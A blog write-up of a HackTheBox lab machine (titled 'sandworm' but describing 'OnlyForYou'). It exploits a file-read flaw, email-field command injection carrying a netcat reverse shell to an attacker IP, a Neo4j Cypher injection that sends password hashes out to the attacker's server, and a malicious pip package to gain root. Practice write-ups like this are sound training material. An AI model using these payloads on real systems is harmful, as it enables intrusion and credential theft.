hackthebox sandworm medium writeup

This is the write up for the medium machine 'onlyrforyou'.

Topic covered in this article are: LFI,commnad injection,neo4j cipher injection,malicious python packages and code execution via pip download.

Shell as user

Subdomain enumeration:

ffuf -u http://only4you.htb -H "Host:FUZZ.only4you.htb" -w /Discovery/DNS/shubs-subdomains.txt

And we find a "Beta" filed.

Looking at the beta.only4you.htb

 At right corner,there are two button named resize and convert.

Select the resize and them choose an image to upload,we will initiate a POST request to the /reszie endpoint with file contents.After it's uploaded we'll redirected to /list.From here we can choose a format to download the image in :

If we click one formate and the post request that looks like this:

POST /download HTTP/1.1
Host: beta.only4you.htb
Content-Length: 17
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://beta.only4you.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://beta.only4you.htb/list
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


image=200x200.jpg

If we change the content after "image=",like /etc/passwd.And the server will allow us to read files on the server(LFI).

By simply changing to POST data to /etc/passwd we can retrieve the /etc/passwd file.

The source code is as follows:

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

Select file to include

Here is a question,what file can we locate and obtain some useful message.

Type one :CMD

/proc/self/stat

/proc/self/status

/proc/self/environ

/proc/pid/cmdline

/proc/self/cmdline

Type two: sensitive file

Web root directory

/etc/nginx/sites-available/default

 From the examing the Server: Headers that gets returned we can determine that the web server is operating using Nginx so we can go ahead and use the LIF to grab /etc/nginx/sites-available/default:

server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
 listen 80;
 server_name only4you.htb;

 location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
 }
}

server {
 listen 80;
 server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}

This file help us determine the web-root.In the source code we download from the beta site,we could see that it was using app.py file.

So I assume that the main site of bata is also using app.py file so I try to grab it with LFI : /var/www/only4you.htb/app.py

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

This text help us learn that this app.py file import another python file named form so I go and grab that file with LFI :/var/www/only4you.htb/form.py

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
 if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
  return 0
 else:
  domain = email.split("@", 1)[1]
  result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
  output = result.stdout.decode('utf-8')
  if "v=spf1" not in output:
   return 1
  else:
   domains = []
   ips = []
   if "include:" in output:
    dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
    dms.pop(0)
    for domain in dms:
     domains.append(domain)
    while True:
     for domain in domains:
      result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
      output = result.stdout.decode('utf-8')
      if "include:" in output:
       dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
       domains.clear()
       for domain in dms:
        domains.append(domain)
      elif "ip4:" in output:
       ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
       ipaddresses.pop(0)
       for i in ipaddresses:
        ips.append(i)
      else:
       pass
     break
   elif "ip4" in output:
    ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
    ipaddresses.pop(0)
    for i in ipaddresses:
     ips.append(i)
   else:
    return 1
  for i in ips:
   if ip == i:
    return 2
   elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
    return 2
   else:
    return 1

def sendmessage(email, subject, message, ip):
 status = issecure(email, ip)
 if status == 2:
  msg = EmailMessage()
  msg['From'] = f'{email}'
  msg['To'] = 'info@only4you.htb'
  msg['Subject'] = f'{subject}'
  msg['Message'] = f'{message}'

  smtp = smtplib.SMTP(host='localhost', port=25)
  smtp.send_message(msg)
  smtp.quit()
  return status
 elif status == 1:
  return status
 else:
  return status

Reveiwing and code auditing. This python code have a vulnerability that allow attacker command exectute on the server at the filed "email"

INSTRUCTION:

If we add a semicolon after the email the server will also run the another command after it

Here is a reverse shell command 

name=shell&email=shell%40123.com;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|bin/sh+-i+2>%261|nc+10.10.14.16+4444+>/tmp/f&submject=shell&message=shell

name=greper&email=greper%40test.com;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.16+4444+>/tmp/f&subject=TEST&message=test

It will result in reverse shell connection:

The next step is using chisel to forward these ports to our attack machine:

#Do this for each port you want to forward
./chisel server -p 1234 --reverse #Server
./chisel client 10.10.14.16:1234 R:7687:127.0.0.1:7687 #Client

Once I forward all of the ports to my attack machine, I browse to http://localhost:3000 and here I find a Gogs deployment. I am unable to log in or view any public repos, but at least I learn that there is a user named john .

 

Using neo4j cipher injection to obtain password hash

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.16/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

This results the following:

10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?username=john HTTP/1.1" 200 -

Using john or hashcat to get these plain password.

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You

We can ssh into the machine as john.

Shell as root

sudo -l 

Matching Defaults entries for john on only4you:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
john@only4you:~$

Google it and find the link about this exploit

https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

Cause pip3 download the http url.

So we need to git pull the exploit tar.gz file .

The step as follow:

git init 
git add .
git commit -m "fxxxx" 
git remote add origin http://127.0.0.1:3000/john/grep.git
git push -u origin master/main

Once we’ve done this, the only thing left to do is run this command:

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/grep/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/grep/raw/mster/xxx.tar.gz

This will trigger the exploit and the SUID bit will get filpped on for the /bin/bash binary.

Using bash -p to escalate privilege.

 
posted @ 2024-03-11 15:49  lisenMiller  阅读(22)  评论(0编辑  收藏  举报